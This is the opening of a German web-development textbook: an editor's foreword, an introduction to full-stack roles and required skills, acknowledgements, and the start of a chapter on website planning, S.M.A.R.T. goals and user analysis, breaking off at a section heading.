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         Liebe Leserin, lieber Leser,
         

         
         
         herzlich willkommen zu diesem umfassenden Handbuch! Wenn Sie sich darauf vorbereiten
            möchten, gute Webseiten zu erstellen, dann sind Sie hier richtig. Sie haben einen
            Lehrgang aufgeschlagen, der Sie ins Codieren einführt, vom HTML und CSS im Frontend
            über JavaScript bis zu PHP und Datenbanken im Backend – das ist das Handwerkszeug,
            das Sie brauchen werden.
         

         
         
         Technik ist aber nicht alles: Die modernste Datenbankanwendung kann ihre Wirkung im
            Web verfehlen, wenn die Gestaltung nicht stimmt. Auftraggeber geben ein Corporate
            Design vor, für die Kunden soll die User Experience vom Feinsten sein und zu den Produkten
            in einem Shop etwa muss die Farbwelt passen.
         

         
         
         Deshalb hat Uwe Mutz dieses Buch so umfassend angelegt, wie er das Fach auch an der
            Hochschule lehrt: Farbpsychologie kommt ebenso vor wie CSS-Grundlagen oder die Normalisierung
            eines Datenbankschemas.
         

         
         
         Wir im Rheinwerk Verlag möchten nicht nur gute Bücher machen, sondern immer bessere.
            Wir hoffen dazu beizutragen, dass Sie so lernen können, wie Sie es sich wünschen –
            effizient, mit Spaß, in einem angenehmen Tempo ... was immer Ihnen wichtig ist. Und
            wer könnte besser sagen, ob uns das gelungen ist, als Sie?
         

         
         
         Deshalb freuen wir uns, wenn Sie Feedback für uns haben! Wie hat es Ihnen gefallen?
            Können wir noch etwas verbessern?
         

         
         
         Überhaupt sind wir gern im Austausch: Gibt es ein IT-Thema, zu dem Sie ein Buch am
            Markt vermissen? Etwa, weil es zu einer Veranstaltung an der Hochschule keine genau
            passende Literatur gibt, oder weil Sie sich in ein neues Framework einarbeiten möchten?
            Dann melden Sie sich gern!
         

         
         
         Und nun viel Spaß und Erfolg!

         
         
         Ihre Almut Poll 
Lektorat Rheinwerk Computing
         

         
         
         almut.poll@rheinwerk-verlag.de 
www.rheinwerk-verlag.de 
Rheinwerk Verlag • Rheinwerkallee 4 • 53227 Bonn
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                        1    Websites, Webentwicklung, Full Stack – was Sie in diesem Buch erwartet
Die Webentwicklung ist vielfältiger denn je. Wir lesen vom »Webdesign«, von der »Webprogrammierung«, von »Frontend« und »Backend«. Auch der Begriff »Full Stack Web Developer« ist in diversen Jobbeschreibungen und Ausbildungstiteln zu finden, da er sich mittlerweile auf dem Markt etabliert hat. Aber was steckt wirklich hinter diesem Begriff?
Geht man ein paar Jahre zurück, so las man Berufsdefinitionen wie »Web-Designer«, »Web-Entwickler« oder »Web-Programmierer« – manch einer mag vielleicht auch »HTML-Programmierer« gelesen haben. Der Full Stack Web Developer ist alles auf einmal: die eierlegende Wollmilchsau, die alles kann und alles beherrscht. Nun, so weit weg von der Realität ist das Gesagte gar nicht.
Aber gehen wir es mal der Reihe nach an. Grundsätzlich müssen wir im Webbereich einige Gebiete voneinander unterscheiden – einerseits technisch, andererseits aus Sicht des Users. Technisch gesehen ziehen wir eine sehr klare Grenze zwischen dem Frontend (der sogenannten Clientseite) und dem Backend (der Serverseite). Unter dem Frontend verstehen wir alles, was der User (in seinem Browser oder einem ähnlich gearteten System) zu sehen bekommt.
Weil ein Browser – wie Sie noch erfahren werden – ein sogenannter Interpreter ist, der in der Lage ist, gewisse Technologien zu verstehen und die dahinter liegenden Befehle entsprechend zu interpretieren, beschränkt sich das Frontend-Development offensichtlich auf genau diese Technologien: auf HTML als inhaltsbeschreibende Sprache, auf CSS als Formatierungssprache und auf JavaScript/ECMAScript als Programmiersprache.
Ganz streng genommen, müsste ein Browser kein CSS und kein JavaScript verstehen können, in der Praxis ist dies dennoch fast durchgängig der Fall. Wir dürfen sogar davon ausgehen, dass ein Browser auch mit weiteren Technologien umgehen kann (wie etwa XML, SVG und Co.), was ein Frontend-Developer nur allzu gerne auszunutzen wird.
Dass der Aufgabenbereich Responsive Webdesign vorrangig in das Aufgabengebiet des Frontend-Developers fällt, liegt nahe, kümmert sich das Responsive Webdesign doch darum, Verantwortung gegenüber dem User zu übernehmen. Und mit Verantwortung meinen wir hier die Rücksichtnahme auf die Möglichkeiten und Fähigkeiten des Users und des Systems, das er einsetzt.
Unter dem Backend verstehen wir wiederum denjenigen Aufgabenbereich, der zum Ziel hat, die zuvor genannten Technologien/Sprachen auf der Serverseite geeignet aufzubereiten. Es ist zwar eine Tatsache, dass eine Website ohne jegliche Backend-Technologie auskommt, jedoch ist das im realen Leben einer Website nur selten zu finden. Vielmehr wird ein HTML-Code nicht mehr nur von einem Frontend-Developer geschrieben, sondern mithilfe serverseitiger Sprachen generiert. Die Serverseite ist hierfür hervorragend geeignet, und mit PHP als serverseitiger Programmiersprache und MySQL/MariaDB als Datenbanksystem stehen uns ausgereifte und sehr gute Systeme zur Verfügung.
PHP ist eine Programmiersprache, die rein für den Webbereich erdacht und entwickelt wurde, was sie von vielen weiteren Programmiersprachen (wie etwa auch Python) unterscheidet. MySQL/MariaDB ist ein Datenbanksystem, das sich zwar nicht auf den Webbereich beschränkt (das trifft im Übrigen auf jedes Datenbanksystem zu), aber ausgezeichnet für unsere Anforderungen geeignet ist. Auch hier wäre die Konkurrenz mit MongoDB (oder generell NoSQL-basierten Datenbanksystemen) groß, jedoch soll es unser Ziel sein, ausgereifte und zukunftsträchtige relationale Datenbanksysteme, die auf der Abfragesprache SQL basieren, zum Einsatz zu bringen.
MongoDB und NoSQL sind nett, wenn man nicht über den Tellerrand hinaussehen möchte und sich lediglich in der Bubble von Websites bewegen möchte – »echte« Datenbanksysteme im Sinne relationaler Datenbanksysteme stellen sie jedoch nicht dar, obwohl jedes Datenbanksystem natürlich seine Daseinsberechtigung und seinen Einsatzzweck hat.
Das Responsive Webdesign lässt uns auch auf der Serverseite nicht kalt, löst es doch die eine oder andere Performance-Frage auf elegante Art und Weise.
Aus Sicht des Users ist die technische Seite jedoch zweitrangig, da es ihn nicht interessieren muss, auf welchen Technologien eine Website aufbaut – weder im Frontend noch im Backend. Ihn interessiert vielmehr, ob eine Website dem entspricht, was er sich vorstellt, und ob sie auch entsprechend seiner Vorstellungen funktioniert. Dies führt uns in die Arbeitsbereiche eines Content-Designers, eines Interface- und Interaktionsdesigners und schlussendlich zu Usability-Überlegungen.
In diesem Buch werden Sie immer wieder auf die Phrase »Kenne Deine User!« stoßen, die im Wesentlichen nichts anderes aussagt, als dass die Kenntnis des Users samt seiner Bedürfnisse und Fähigkeiten das Herzstück jeder Entwicklung ist – egal welches System Sie entwickeln wollen. Um Antworten auf die aufgeworfenen Fragen zu finden, werden wir uns ein Stück weit in die Bereiche Markt- und Umfeldanalyse, Bedarfsanalyse, Zielgruppendefinition und ähnliche begeben, nur um ein klares Bild unseres Users zu erhalten – natürlich immer mit dem Wissen, dass wir es nie jedem User zu jeder Zeit recht machen können.
Dennoch werden wir manche Usergruppen ein wenig mehr »bedienen«, andere ein wenig mehr »ausgrenzen«. Systeme, die von jedem – unabhängig von seinen Fähigkeiten und Bedürfnissen – bedient werden können, sind Systeme, die zwar von jedermann bedient werden könnten, aber nicht bedient werden. Die Zielgruppe wird diejenige Gruppe von Personen sein, der wir es recht machen müssen und werden. Der Content-Designer, der Interface- und der Interaktionsdesigner werden dann versuchen, Content entsprechend dieser Zielgruppe zu planen, das Interface für sie grafisch ansprechend zu designen und Interaktionen und Abläufe für sie zu optimieren. Zumindest ein grundlegendes Wissen über diese Bereiche muss ein Full Stack Developer aufweisen.
Schlussendlich müssen wir dann noch in Themen hineinschnuppern, die uns zwar nicht vorrangig und allumfassend betreffen, aber dennoch einen großen Stellenwert im Webbereich innehaben: Barrierefreiheit, Frameworks, Versionierung, Architekturmuster, robuste Programmierung usw.

        1.1    Frontend vs. Backend

        Streng genommen sind das Frontend und das Backend zwei getrennte Arbeitsbereiche, die jedoch zwei Gemeinsamkeiten haben: die für eine Website benötigten Technologien einerseits und den User andererseits. Weder können Backend-Teams völlig auf diejenigen verzichten, die im Frontend tätig sind (da der vom Backend generierte Code den Anforderungen des Frontend-Entwicklers entsprechen muss), noch kann das Frontend-Team auf das Backend-Team verzichten. Frontend und Backend gehen Hand in Hand, unterscheiden sich aber selbstredend in den Arbeitsweisen.

        Ein Frontend-Entwickler hat in der Regel wesentlich mehr Kontakt zum Kunden und ist idealerweise bei entsprechenden Meetings mit an Bord, wohingegen der Backend-Entwickler eher dem Typ des Programmierers entspricht, der im stillen Kämmerlein vor sich hin arbeitet und nur wenig Kundenkontakt hat. Für beides ist der Backend-Entwickler zumeist auch sehr dankbar, geht man einmal von einem typischen Vertreter dieser Sparte aus (und das soll nicht böse oder sarkastisch gemeint klingen). Spätestens, wenn es darum geht, welche Daten auf welche Art und Weise gespeichert und verarbeitet werden sollen, welche Systeme (Warenwirtschaft, Shops etc.) mit angebunden werden sollen, ist der Backend-Entwickler in seinem Element.

        Weder möchte der Frontend-Entwickler mit dem Backend-Entwickler tauschen noch umgekehrt. Perfekt wird es jedoch dann, wenn das Frontend- und das Backend-Wissen in einer Person vereint sind. Das bedeutet dann nämlich, dass wir es mit einem Entwickler bzw. einer Entwicklerin zu tun haben, der/die ein gesamtes Webprojekt von vorne bis hinten umsetzen kann. Und das, geschätzte Leser*innen, ist das Ziel dieses Werks: aus Ihnen einen Full Stack Developer zu machen.

    


                    
                        
        1.2    Was müssen Sie können?

        Nun, ein wenig habe ich schon darüber philosophiert, welche Fähigkeiten und welches Wissen man als Full Stack Developer mitbringen muss. Fassen wir es noch einmal zusammen:

        Das Frontend-Design umfasst folgende Bereiche aus technischer Sicht, die Sie unabdingbar beherrschen müssen – wir nennen diese Bereiche auch die »clientseitigen Basistechnologien«:

        
            	
                HTML: die Hypertext Markup Language als inhaltsbeschreibende Sprache

            

            	
                CSS: die Cascading Stylesheets als Formatierungssprache

            

            	
                JavaScript/ECMAScript als clientseitige Programmiersprache

            

        

        Von Vorteil sind in weiterer Folge grundlegende Kenntnisse über clientseitige Frameworks wie Angular, Vue und Co. sowie über Bibliotheken wie jQuery, Paketmanager wie NPM oder auch weitere clientseitige Sprachen wie TypeScript (als ein Superset von JavaScript) sowie über CSS-Precompiler wie SCSS. All diese Frameworks, Bibliotheken usw. bauen naturgemäß auf den genannten Basistechnologien auf. In diesem Buch werden wir ohne diese Hilfsmittel auskommen, aber in aller Regel vereinfachen sie uns das Leben während der Entwicklung einer Site.

        Dennoch sind Kenntnisse der Basistechnologien wesentlich wichtiger und entscheidender: Erst, wenn Sie diese verstanden und verinnerlicht haben, sollten Sie sich auf Frameworks und Bibliotheken stürzen, und zwar auch deshalb, um deren Vor- und auch Nachteile zu verstehen und alsdann folgerichtig entscheiden zu können, ob bzw. in welchem Umfang Frameworks und Bibliotheken zum Einsatz kommen. Aus diesem Grund werde ich am Ende vieler Kapitel eine Empfehlung abgeben, welchen Themen Sie sich zusätzlich noch widmen könnten. Diese Themen alle zu behandeln, würde einerseits den Rahmen des Buches sprengen, andererseits aber auch die Lernkurve extrem steil ansetzen. Beides macht keinen Sinn. Dennoch soll es Sie motivieren, noch tiefer in die Materie einzudringen.

        In Hinblick auf die User benötigen Sie außerdem Wissen über:

        
            	
                Zielgruppenanalyse, um den User gut (besser) zu verstehen

            

            	
                Wahrnehmungs- und Farbpsychologie, um dem »optisch sehenden« User gerecht zu werden

            

            	
                Barrierefreiheit, um Usern mit eingeschränkten Fähigkeiten eine gute Basis zu bieten

            

        

        Das Backend-Design auf der anderen Seite erfordert ein gutes Wissen rund um:

        
            	
                Grundlagen der Programmierung: Vorrangig brauchen Sie Kenntnisse in der imperativen Programmierung, im Idealfall (jedoch nicht notwendigerweise) auch in der objektorientierten Programmierung.

            

            	
                PHP: Der Hypertext Pre-Processor ist die bevorzugte serverseitige Programmiersprache.

            

            	
                Datenbankdesign: bevorzugt basierend auf relationalen Datenbanken

            

            	
                serverseitige Systeme im Allgemeinen: Datei- und Verzeichnisstruktur, Mailservices, Sicherheits- und Performance-Themen

            

        

        Auch hier gilt es, ein wenig über den Tellerrand zu blicken und die gewählten Technologien und Systeme mit anderen (konkurrierenden) Systemen zu vergleichen. Unweigerlich werden Sie auf Frameworks wie Laravel, auf Ablage- und Versionssysteme wie GIT und Architekturmuster wie MVC stoßen.

        In Hinblick auf die Programmierung (client- wie serverseitig) sollten Sie Folgendes können:

        
            	
                Sie sollten die (klassische) imperative Programmierung gut beherrschen, also die Arbeit mit Variablen, Bedingungen, Schleifen, Arrays, Objekten und Funktionen.

            

            	
                Sie sollten wissen, was der Unterschied zwischen imperativer und objektorientierter Programmierung ist und unter welchen Bedingungen und Voraussetzungen man bevorzugt die eine oder die andere Variante einsetzt.

            

            	
                Der Unterschied zwischen synchroner und asynchroner Verarbeitung sollte Ihnen geläufig sein; außerdem sollten Sie in der Lage sein, asynchrone Anfragen (mittels AJAX oder der fetch-API) von der Clientseite abzusetzen.

            

        

        Performance ist ebenfalls ein Thema, das uns zur Entscheidung zwischen Client-Side Rendering (CSR) und Server-Side Rendering (SSR) bringen wird.

    


                    
                        
        1.3    Umfassendes oder gar vollständiges Wissen?

        Der Beruf des Webentwicklers (gleich welcher Ausprägung) geht – wie fast jeder andere Beruf auch – mit der Tatsache einher, dass Sie nie ausgelernt haben werden. Sollten Sie also der Ansicht sein, dass dieses Werk Ihnen ein vollständiges Wissen vermitteln kann, dann sind Sie aus zweierlei Sicht auf dem Holzweg: Erstens könnten Sie noch fünf oder zehn weitere Bücher lesen und würden immer wieder etwas Neues lernen, zweitens entwickeln sich Technologien ständig weiter, was natürlich auch für HTML, CSS, JavaScript, PHP, SQL (und wie sie alle heißen) gilt.

    


                    
                        
        1.4    Wie korrekt ist korrekt?

        Was Sie gerade in den Händen halten, ist ein Lehrbuch, das Ihnen das Wesentliche unseres Berufes vermitteln soll. Ein Lehrbuch zu schreiben, führt den Autor in Versuchung, sämtlichen Inhalt absolut präzise und korrekt wiederzugeben. Das könnte jedoch auf Kosten der Verständlichkeit und Lesbarkeit gehen – und genau das will ich vermeiden. Mit anderen Worten, ich werde im Rahmen dieses Buches manchmal »nicht die ganze Wahrheit sagen« oder manche Themen derart umschreiben, dass diese für Sie klarer verständlich werden, auch wenn sie dann nicht zu 100 % präzise dargestellt sind.

        Zu jedem Thema in diesem Buch könnte man wie gesagt ganze Bücher füllen, und auch diese wären an manchen Stellen nicht vollständig. Verzeihen Sie mir also, wenn ich dann und wann auf eine einfachere Beschreibung zurückgreife. Ich wähle diese immer der Situation entsprechend, aber auch immer zu Ihren Gunsten. Der Perfektionist möge sich an dieser Stelle in Zurückhaltung üben, der Realist hingegen kommt voll auf seine Kosten, und auch der Pessimist sollte nun zum Optimisten mutieren. In diesem Buch gilt: Die Verständlichkeit soll über die Vollständigkeit siegen.

    


                    
                        
        1.5    In eigener Sache – Danksagung

        Was bleibt zu Beginn eines Buches und am Ende der vollbrachten Arbeit noch zu sagen? Zunächst überwiegt die große Dankbarkeit für die Unterstützung und das Vertrauens, das einem (geliebte) Menschen entgegenbringen. Durch sie erscheinen die schweren Aufgaben einfacher, durch sie wird vieles möglich. Glück ist, diese Menschen um sich zu wissen. Manchmal erstrahlt ein solcher Mensch auf ganz besondere Art und Weise und es gilt, diesen Menschen zu finden. Und habe ich sie gefunden, diese eine, meine Liebe. Meine Frau. Sie ist es, die mich ausmacht. Sie ist meine Bestimmung.

        Wie könnte ich nicht dankbarer sein als im Jetzt? Dankbar für meine Frau und Sonne, meinen großartigen Sohn Jakob, meine geliebte Schwester und meine geliebten Eltern, meine Familie, meine Freunde. Und aufrichtig dankbar, die Liebe zu unseren Vierbeinern gefunden zu haben: Joker, Prinz, Pocket, FruFru, Evi, Nurya und wie immer wir euch zu nennen getraut haben. Ihr alle seid in meinem Herzen – wir sehen uns. Tränen sind lediglich die Bekundung, so manchen von euch zu vermissen. Und doch ist es nur ein »Bis später« und war nie ein »Goodbye«.

        
Uwe Mutz

    


                    
                        2    Good to know – etwas Vorwissen
Vorab geht es um Themen, die für Sie bei der Entwicklung fürs Web von (großer) Bedeutung sein könnten. Sie haben die Wahl: Legen Sie gleich mit dem technischen Part los oder schnuppern Sie hier zunächst in die Theorie hinein, wo wir uns über die User und ihre Fähigkeiten Gedanken machen.
Bevor wir uns ins Getümmel stürzen, stelle ich Ihnen die einzelnen Themen vor, die bei der Planung und Konzipierung einer Website wichtig sind. Auch wenn wir nicht zu sehr in die Tiefe gehen, werden Sie eine gute Vorstellung davon bekommen, wie diese Themen ineinandergreifen.
Es liegt an Ihnen, aber ich gebe einen Tipp ab:

        	
            Sollten Sie eher an der technischen Umsetzung von Websites interessiert sein, so können Sie dieses Kapitel (zunächst) getrost überspringen. Kehren Sie einfach zu einem späteren Zeitpunkt wieder zurück.

        

        	
            Sollten Sie hingegen bereits von Anfang an »alles richtig« machen und auch Ihre User und ihre Bedürfnisse verstehen wollen, so nehmen Sie sich ein wenig Zeit für die nachfolgenden Zeilen.

        

    

        2.1    Die Planung einer Website

        Wenn es heißt: »Bauen Sie mir eine neue Website«, dann ist man unter Umständen erst mal sehr planlos. Das ist nicht unbegründet, und Sie sollten sich deshalb auch keine größeren Sorgen machen, da diese Situation völlig normal ist. An diesem Punkt angelangt, gilt es zunächst einmal, sich über die Ziele der zu erschaffenden Website klar zu werden. Überlegen Sie sich auch, wie Sie das Erreichen dieser Ziele messen können. Wie Sie in Abschnitt 2.2, »Ziele einer Website«, sehen werden, können die Ziele vielfältig sein.

        Sobald Sie wissen, was das Ziel der Website ist, können Sie in der Planung fortfahren und Antworten auf die folgenden Fragen suchen:

        
            	
                Wie sieht der Markt aus, in dem mein Kunde fischen möchte? Ist dieser Markt sehr umkämpft (»Red Ocean Marketing«) oder haben wir freie Bahn (»Blue Ocean Marketing«)? Eine Marktanalyse (siehe Abschnitt 2.3) liefert Ihnen Auskunft darüber, wie sehr man sich am Markt anstrengen muss, um erfolgreich zu sein. Manchmal führt eine Marktanalyse dazu, dass man ein geplantes Projekt auch wieder verwirft, da der Erfolg des Geplanten nicht garantiert werden kann.
Auf Websites, die letztlich nur als Informationsquelle oder digitale Visitenkarte dienen, trifft das natürlich nicht zu. Plant man jedoch eine Website (oder auch eine App) mit Funktionalität (wie etwa ein »Trainingstagebuch für Trainierende«), dann kann eine Marktanalyse sehr wohl dazu führen, die Idee wieder über den Haufen zu werfen, wenn der Markt eventuell bereits gesättigt ist.

            

            	
                Wie steht’s um die Konkurrenz? Wie sehen deren Websites aus, was können diese, wo sind sie gut und wo schlecht? Durch ein subjektives Abtesten der Konkurrenz-Websites (oder auch der Konkurrenz-Apps, sollten Sie eine App programmieren) auf Basis der eigenen Benchmarks (siehe Abschnitt 2.5) erfahren Sie mehr.

            

            	
                Wie sehen meine potenziellen User aus? Wie kann ich diese charakterisieren, welche Bedürfnisse, Erwartungen, Anforderungen etc. haben sie in Bezug auf die Website? Die Antworten auf diese Fragen finden Sie nach einer Useranalyse (siehe Abschnitt 2.4).

                Sobald Sie den Markt, die Konkurrenz und den User kennen, dürfen Sie weiterdenken. An dieser Stelle eine kleine »Warnung«: Viele Projekte werden nicht so erfolgreich, wie sie werden könnten, wenn auf die User-, Markt- und Konkurrenzanalyse verzichtet wird. Es ist nun mal so, dass diese Schritte Zeit und (mitunter auch) Nerven kosten. Scheuen Sie sich nicht davor – schlussendlich wollen Sie hoffentlich der beste Webentwickler bzw. die beste Webentwicklerin der Welt werden!

                Also, auf zu den nächsten Fragen:

            

            	
                Welchen Inhalt soll die Website darstellen, welche Inhalte sollen transportiert werden? An dieser Stelle wird es Zeit, den Content zu planen, was im Rahmen einer Content Strategy erfolgt (siehe Abschnitt 2.6).

            

            	
                Wie sieht das Interaktionsmodell aus? Das heißt, wie kann ein User mit der Website/App »arbeiten«? Abschnitt 2.7 liefert Antworten zu diesem Thema.

                Nun gilt es, einen ersten Prototyp zu entwickeln, der Schritt für Schritt – also »iterativ« – getestet und verfeinert wird. Dies beginnt mit sehr einfachen Prototypen auf Papier (sogenannten »Scribbles«) und steigert sich in der Regel über einen funktionierenden, auf HTML basierenden (vertikalen, horizontalen bzw. Szenario-) Prototyp bis hin zum fertigen Produkt.

                Wenn Sie im Prozess der Prototypenentwicklung sind, dürfen Sie das erste Mal an die grafische Umsetzung denken, die üblicherweise parallel zur Entwicklung der ersten (noch unformatierten) Prototypen erfolgt: zuerst stark vereinfacht, dann immer detailreicher. Hierzu sei gesagt, dass man in früheren Zeiten der Webentwicklung der Ansicht war, dass zunächst einmal der Grafiker ans Werk solle – erst, wenn das erstellte Layout vom Kunden abgesegnet wurde, ging’s weiter im Text.

                Heutzutage denkt man anders. Der Grund ist, dass uns mit HTML und CSS zwei Technologien zur Seite stehen, die sich gegenseitig nicht (oder nur sehr wenig) beeinflussen: Über den bestehenden HTML-Code, der die Inhaltsstruktur und den Inhalt darstellt (und schnell und halbwegs einfach entwickelt werden kann), wird die Formatierung »drübergestülpt«. Mit anderen Worten, die Inhaltsdarstellung und -strukturierung ist mehr oder weniger unabhängig von der darauffolgenden Formatierung.

            

            	
                Wie soll die Website bzw. das User Interface (UI) geplant werden? Worauf ist hierbei zu achten? Wahrnehmungspsychologische Überlegungen hinsichtlich Farb- und Gestaltpsychologie wie in Abschnitt 2.8 und Abschnitt 2.9 stehen uns hilfreich zur Seite. Ein wenig Wissen rund um das Thema Corporate Design bzw. Corporate Identity als Gesamtes, wie in Abschnitt 2.10 dargestellt, hilft natürlich.

            

        

        Bedenken Sie, dass Erfolg sehr oft an geplantem Tun gemessen werden kann – zumindest in unserem Bereich, in dem wir tätig sind. Geplantes Vorgehen bedingt aber auch, an bestimmten Stellen innezuhalten und das Erschaffene kritisch zu hinterfragen. Um am Ende nicht an den Anfang zurückgeworfen zu werden, sollten Sie sich nach einer gewissen Zeit der Einarbeitung in die – zugegebenermaßen nicht wenigen – Themen von oben noch tiefer in die Bereiche User Experience (UX) und Usability einarbeiten und diese tunlichst verinnerlichen.

    


                    
                        
        2.2    Ziele einer Website

        Die Ziele einer Website können vielfältig sein, weshalb es zumeist nicht einfach ist, diese in Worte zu fassen. Zumeist betrifft uns dieses Thema eher am Rande, da es mehr mit Marketing als mit Website-Entwicklung zu tun hat. Weil Webentwickler*innen in manchen (oder vielen) Fällen keine Marketing-Abteilung im Hintergrund für sich tätig werden lassen können, sondern oft die »eierlegende Wollmilchsau« für den Kunden darstellen, sollten wir zumindest eine Ahnung davon haben, wie Ziele aussehen können und wie wir die Zielerreichung auch messen können. Beginnen wir also mit ein paar einfachen, jedoch häufig vorkommenden Zielen:

        
            	
                Leads generieren: Die Besucher und Besucherinnen der Website sollen sich für die präsentierten Produkte bzw. Dienstleistungen interessieren.

            

            	
                Verweise auf die Website: Andere Websites sollen auf unsere Website verweisen, wodurch ein höherer Traffic erzielt wird.

            

            	
                Das Unternehmen / die Marke / die Produkte bekannt machen: Die Website ist das »Schaufenster nach außen« und dient vorrangig der Bekanntmachung/Awareness-Bildung.

            

            	
                Informationsvermittlung: Die Besucher der Website sollen Informationen vermittelt bekommen.

            

            	
                Community-Bildung: Die Website soll es ihren Usern ermöglichen, eine Gemeinschaft zu bilden.

            

        

        Machen Sie sich also bereits zu Beginn klar, in welche Kategorie die Website fällt, die Sie entwickeln sollen. Darauf aufbauend sollten Sie versuchen, Ziele zu formulieren. Ich empfehle dafür die »S.M.A.R.T.«-Kriterien anzuwenden, die ursprünglich von Peter Drucker entworfen wurden und vor allem im Projektmanagement und Marketing sehr bekannt sind.

        »S.M.A.R.T.« ist ein Akronym für Specific, Measurable, Achievable, Reasonable, Time-bound. Manchmal wird es noch um Trackable und Agreed erweitert zu »S.M.A.R.T.T.A.«. Diese Kriterien sollen dazu dienen, mess- und überprüfbare Ziele eindeutig zu formulieren (Peter Drucker, »People and Perfomance«, 1977). Auch wenn das Schema schon aus den 1970-er Jahren stammt, sind S.M.A.R.T. und S.M.A.R.T.T.A. kein Ladenhüter, sondern omnipräsent.

        
            
                
                    	
                    	
                        Bedeutung

                    
                    	
                        Beschreibung

                    
                

            
            
                
                    	
                        S

                    
                    	
                        Specific | spezifisch

                    
                    	
                        Die Ziele müssen präzise und klar definiert sein.

                    
                

                
                    	
                        M

                    
                    	
                        Measurable | messbar

                    
                    	
                        Die Ziele müssen (mithilfe geeigneter Metriken) messbar sein.

                    
                

                
                    	
                        A

                    
                    	
                        Achievable | erreichbar

                    
                    	
                        Die Ziele müssen für die Zielgruppe ansprechend bzw. erstrebenswert sein.

                    
                

                
                    	
                        R

                    
                    	
                        Reasonable | angemessen

                    
                    	
                        Die gesteckten Ziele müssen möglich und realisierbar sein.

                    
                

                
                    	
                        T

                    
                    	
                        Time-bound | terminiert

                    
                    	
                        Jedes Ziel muss mit einem fixen Datum festgelegt werden können.

                    
                

                
                    	
                        T

                    
                    	
                        Trackable | trackbar (nachverfolgbar)

                    
                    	
                        Der vom User gegangene Weg zur Zielerreichung muss (für jedes Ziel) nachverfolgbar/nachvollziehbar sein.

                    
                

                
                    	
                        A

                    
                    	
                        Agreed | abgestimmt

                    
                    	
                        Die Ziele müssen aufeinander abgestimmt sein.

                    
                

            
        

        Tabelle 2.1    
            S.M.A.R.T. und S.M.A.R.T.T.A. – kein Ladenhüter, sondern immer aktuell.

        Aus manch (unkundigem) Mund hört man, dass der S.M.A.R.T.-Ansatz schon in die Jahre gekommen sei – au contraire, denn wäre dies so, warum wird er dann in der Praxis so oft und so gern eingesetzt? Die Antwort lautet: S.M.A.R.T. funktioniert, und funktionierende Prinzipien sollte man zum Einsatz bringen. Muss ein jedes Kriterium erfüllt sein? Nein, muss es nicht. Die oben stehenden Kriterien stellen eine Art Checkliste dar, an der Sie sich orientieren können.

        Beispiele gefällig? Bitte: Tabelle 2.2 zeigt schlechte und gute Zielformulierungen.

        
            
                
                    	
                        schlechte Zielformulierung

                    
                    	
                        gute Zielformulierung

                    
                

            
            
                
                    	
                        hohe Nutzerfreundlichkeit der Website

                    
                    	
                        Ein abschließender Usability-Test der Website soll ergeben, dass die subjektive Zufriedenheit von mindestens 90 % der Testkandidat*innen mit »Sehr gut« bewertet wird.

                    
                

                
                    	
                        mehr »unique User« auf die Website bringen

                    
                    	
                        Die Anzahl der »unique User« soll sich innerhalb eines halben Jahres von 100 Usern pro Woche auf 250 User pro Woche erhöhen.

                    
                

                
                    	
                        Produkte gezielter verkaufen

                    
                    	
                        Gestalterische Änderungen und Usability-Änderungen am bestehenden Onlineshop sollen derart vorgenommen werden, dass sich die Anzahl der ausgewählten Produkte (…) innerhalb eines Monats in der Gruppe der männlichen User zwischen 25 und 45 Jahren um 35 % steigert.

                    
                

            
        

        Tabelle 2.2    
            Beispiele für schlechte und gute Zielformulierungen

        Bitte beachten Sie, dass die Zielformulierung zwar noch keine Antwort auf die Frage nach dem »Wie?« gibt. Aber der Weg dorthin wird wesentlich klarer, da wir in der Formulierung bereits Anhaltspunkte für das weitere Vorgehen finden können.

    


                    
                        
        2.3     Marktanalyse, um den Markt zu verstehen

        Bevor wir uns ins Geschehen stürzen, definieren wir zuerst, was wir unter dem Begriff verstehen wollen: Unter einer Marktanalyse verstehen wir die Betrachtung desjenigen Marktes, in dem sich unsere Website inhaltlich bewegt. Eine Marktanalyse ist eine Momentaufnahme (es kann sich ja permanent am Markt etwas ändern) und sollte deshalb fortlaufend vorgenommen werden, was im Rahmen einer erstmaligen Website-Erstellung natürlich nicht möglich ist, im Rahmen einer Überarbeitung der Website aber sehr wohl.

        Nun müssen wir eine Abgrenzung in Bezug auf die geplante Website bzw. das geplante System vornehmen:

        
            	
                Ist unser Auftrag die Erstellung einer Website für einen Kunden, so erübrigt sich für uns eine Marktanalyse, denn diese sollte unser Kunde bereits selbst erstellt oder bei einem Marktforschungsinstitut in Auftrag gegeben haben. Für uns ist also nur das Ergebnis dieser (bereits durchgeführten) Marktforschung interessant, sodass wir besser verstehen, in welchem Umfeld sich unser Kunde bewegt.

            

            	
                Planen wir eigenständig die Entwicklung eines neuen Webprojekts, das wir selbst launchen wollen, so müssen wir uns auch mit der Marktanalyse befassen. In diesem Fall sind wir unser eigener Kunde. In diese Situation gerät man bei der Webentwicklung nicht selten, denn es kommt oft vor, dass Agenturen ihre eigenen Projekte entwickeln.

            

        

        Im Rahmen dieses Buches gehe ich allerdings nicht genauer auf die Marktforschung ein, da dieses Thema vorrangig im Marketing und nicht in der Webentwicklung angesiedelt ist.

    


                    
                        
        2.4    Der User, das (un)bekannte Wesen

        »Kenne deine User!« ist ein Spruch, der Sie im Laufe dieses Buches nicht mehr loslassen und Ihr ständiger Begleiter sein wird. Es ist unabdingbar zu wissen, »für wen« wir unsere Energie investieren und wie dieser »jemand« tickt. Jegliche (Software- und Web-)Entwicklung zielt darauf, einerseits einen Zweck zu erfüllen und andererseits die Ziele erreichbar werden zu lassen, die sich ein User gesteckt hat. Nur, was wissen wir über diesen User?

        Sie werden feststellen, dass (beinahe) alle nachfolgenden Überlegungen auf den Erkenntnissen basieren, die Sie zu Ihrem User gewinnen können. Lassen Sie uns loslegen.

        
            2.4.1    Einfühlungsvermögen ist gefragt

            Für die Zielgruppenanalyse ist ein gewisses Maß an Einfühlungsvermögen erforderlich, um sich in die Gedankenwelt der potenziellen User hineinzudenken. Außerdem gilt es, Fakten herauszufinden, auf deren Basis wir Denk- und Handlungsweisen »in die User hineininterpretieren« können.

            Es ist – insbesondere in unserem Berufsfeld – durchaus möglich, dass uns Informationen zum und über den User von externer Stelle bereitgestellt werden, etwa durch die Zusammenarbeit mit Agenturen oder durch den Kunden selbst. Auf der anderen Seite erfordern Projekte es sehr oft, dass wir uns selbst um die Gewinnung dieser Informationen kümmern müssen.

        
        
            2.4.2    Die Zielgruppenanalyse als Mittel, den User kennenzulernen

